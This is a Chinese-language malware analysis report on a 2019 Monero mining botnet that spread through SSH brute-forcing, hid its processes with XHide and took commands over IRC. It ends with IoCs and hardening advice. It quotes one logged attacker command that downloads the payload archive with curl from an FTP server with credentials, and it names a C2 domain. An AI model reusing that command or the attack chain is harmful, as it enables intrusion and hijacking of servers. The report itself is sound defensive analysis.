0%

关于一宗门罗币挖矿安全事件的分析报告

关于一宗门罗币挖矿安全事件的分析报告

概述

2019年08月08日,stxletto检测到一起利用SSH口令爆破感染、XHide隐藏伪装恶意程序进程、IRC服务作为C&C的门罗币挖矿事件。从捕获的多个样本来看,7月份的样本较5月份的样本,增加了内网SSH弱口令爆破的横向渗透模块,更具危害性。

图-1

事件攻击流程图

详情

通过终端EDR反馈的定时任务和CPU资源占用情况,我们在/var/tmp/路径下发现9个可疑文件,并有一个以空格做为名称的文件夹。

图-2
图-3
图-4
图-5

在日志系统中发现的异常命令(curl -O ftp://noji:noji2012@153.122.137.67/.kde/olduser.tgz

我们在指定的FTP服务器上追溯到olduser.taz和scn.db两个gzip\tar文件。

图-6
olduser.taz内有go、i686、x86_64共3个文件。

图-7
经分析,olduser中的模块主要实现挖矿功能。

scn.db内有6个文件。

图-8
经分析,scn中的模块主要实现横向渗透功能。

定时任务

图-9
恶意程序为当前用户添加了每1分钟执行一次的任务
图-10

httpd文件

图-11
图-12

httpd文件是一个bash脚本文件,主要功能是重启/lib/httpds恶意程序。

图-13

而/lib/httpds文件不存在,且httpd和后文所述update文件在逻辑结构上相似,此任务应是一个早期版本。

autorun文件

图-14
autorun文件是一个bash脚本文件,主要功能是增加、更新定时任务update,并启动perl后门。

update文件

图-15
update文件是一个bash脚本文件,主要功能是如果进程存在则杀死已有进程后重启/var/tmp/ /.p/run恶意程序。

图-16
代码中mech.pid和实际的文件pid名称不对,导致无法杀死已有进程。每分钟执行一次定时任务后,会新建进程,导致系统中恶意进程越来越多。

图-17
图-18
在/var/opt/.crond/路径下发现相似文件,从创建时间等多种维度来看,变种进化过程如下:

  • 2019-04-28 /var/opt/.crond/.p/run
  • 2019-07-22 /var/tmp/ /.p/update
  • 2019-07-27 /lib/httpd?

IRC后门

IRC后门主要存在.p文件夹中,对比2个样本,

图-19
主要功能模块没有变化,主要是增加横向扩散功能、更新Perl版本的IRC后门以及改变恶意程序路径。

run文件

图-20
run文件是一个bash脚本文件,主要功能是根据系统的硬件架构执行对应的XHide程序伪装执行python2elf版本的IRC后门,最后执行perl脚本的IRC后门。

h32\h64文件

图-21
h32文件是一个linux/i386版本的XHide程序,
h64文件是一个linux//amd64版本的XHide程序,
用于进程伪装和隐藏。

run32\run64文件

图-22

run32文件是一个linux/i386版本的由pyinstaller生成的ELF文件;
Run64文件是一个linux/amd64版本的由pyinstaller生成的ELF文件;

图-23
图-24
图-25

经分析其是一个用python语言开发undernetbot,用于使用IRC通道作为C&C的后门程序。

..%20文件

图-26
..%20文件是一个源自TeaMrx Perlbot的Perl IRC后门。启动后可以从配置列表中随机选定一个伪装成特定进程,使用从配置列表中随机选定昵称在指定的undernet.org提供的IRC服务频道中接收C&C指令。

图-27
通过分析2个样本Perl IRC后门主要更新体现在IRC服务、矿池地址、昵称列表和伪装进程列表方面。

挖矿模块

olduser.taz文件

olduser.taz内有14个文件,主要功能如下:

文件名称 主要功能
..%20 Perl版本的IRC后门
autorun 增加、更新定时任务并启动update和perl后门
bte.py python版本的加解密、编解码工具
cfg perl后门的配置文件
cron 准备添加的定时任务
cron.d 默认模板的计划任务,
dir 恶意程序存放位置的配置文件
h32 32位版本的XHide程序
h64 64位版本的XHide程序
m.dir 指向/lib/dev的配置文件
pid 恶意程序的pid文件
run 根据硬件架构选择启动对应run32\run64的shell脚本
run32 32位版本的Python IRC后门程序
run64 64位版本的Python IRC后门程序

go文件

图-28
go文件是一个bash脚本文件,主要功能是根据系统的硬件架构把对应的ELF程序复制成crond文件并执行,然后执行perl脚本的IRC后门,最后删除恶意文件,并清空历史记录。

图-29

i686\x86_64\crond文件

图-30
图-31

i686文件是一个经过upx加壳的linux/i386版本的xmrig程序;
X86_64\crond文件是一个经过upx加壳的linux/amd64版本的xmrig程序。

主要功能是门罗币挖矿,其根据xmrig的开源代码做定制开发,用于僵尸网络时,可以指定矿池的静态IP地址,规避DNS解析,以逃避安全检测。

横向渗透

scn.db文件

scn.db内有6个文件,主要功能如下:

文件名称 主要功能
passfile 文件中3个文件存放(印度?)常见的账号密码,用于口令暴力破解。
scanate 存放一些代理服务器(俄罗斯)。
201–22 存放210.212.0.0网段的地址。
auto 网段扫描器
brute SSH账号密码暴破工具
masscan Masscan扫描器
scan Legion2000 开发的扫描器,扫描特定网段(如210.212.0.0-210.212.255.255)
start SSH banner爬虫
vuln.txt 存放暴破是否成功结果文件

auto文件

图-32
auto文件是一个bash脚本文件,主要功能是根据A段地址生成B网段扫描任务。

start文件

图-33
start文件是一个bash脚本文件,主要功能是根据指定的网段地址和端口,爬取SSH服务地址,并用预置的账号密码文件爆破。

scan文件

图-34
scan文件是一个linux/amd64版本的ELF文件,Legion2000 开发的扫描器,可以扫描指定的网段。

brute文件

图-35
brute文件是一个linux/amd64版本的ELF文件,主要功能是对指定的IP验证预置的SSH账号密码是否能登录成功。

bte.py文件

图-36
bte.py是一个python脚本文件,主要提供使用特定密码的加密、解密方法。

IoCs

Hash

文件名称 SHA256
x86_64 d10cb54fe685afdc56f59f1f328276b7027b5367d3dd5131362dd085fef03c7d
i686 090e8053cfeb8591e33907c1cb4e6fc1f593623851b2cd0022ef1c1472b4cfa1
h32 45ed59d5b27d22567d91a65623d3b7f11726f55b497c383bc2d8d330e5e17161
h64 7fe9d6d8b9390020862ca7dc9e69c1e2b676db5898e4bfad51d66250e9af3eaf
run32 bc5c36eca38fb2379062a02e2a5f08fe89f73964bfedba38ce301f828d35ab2e
run64 e312c04b07209f4e5f98cbc9dbd0b1e495717e2d87ba5d61d4163e2aa02cff52
olduser.tgz cd5166885f266cdb5afa5c780e7375ce11dd2a28fd0605aba4e2cb6f27a4d33a
scn.db 7b1070b413f70a00f8b5f0fd480761873367b38dcdee96a6832e1b43a5d0e374
brute 3c00611b670b128c1ca6d3c6f0e9522eea385e0670e74a9b2b26325b4e13c864
masscan 9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2
scan 60cb56218ecc73cb4262f363c8563aa42a1bff63e5d8b218d79702567b908ae9

失陷主机

ftp://153.122.137.67
图-37

Domain

olduser-v4.pwndns.pw

IRC

USER zwsiewale xx.xx.xx.xx Bucharest.RO.EU.WeakNet.eu :tupa
图-38

综述

图-39
综上所述,此种安全攻击事件以SSH口令爆破为突破口,使用XHide隐藏伪装恶意程序进程、并把境外IRC服务作为C&C,在增加内网SSH弱口令爆破的横向渗透模块后更具危害性。我们提醒企业用户强化SSH口令,使用上文中的IoC检测、清除恶意文件。

------ 安全边界,过犹不及。正文结束,感谢观赏。 ------
你看到的我
是哪一种颜色,悲伤或快乐
我偶尔沉默,但也勇敢执着
热血依然沸腾着我的脉搏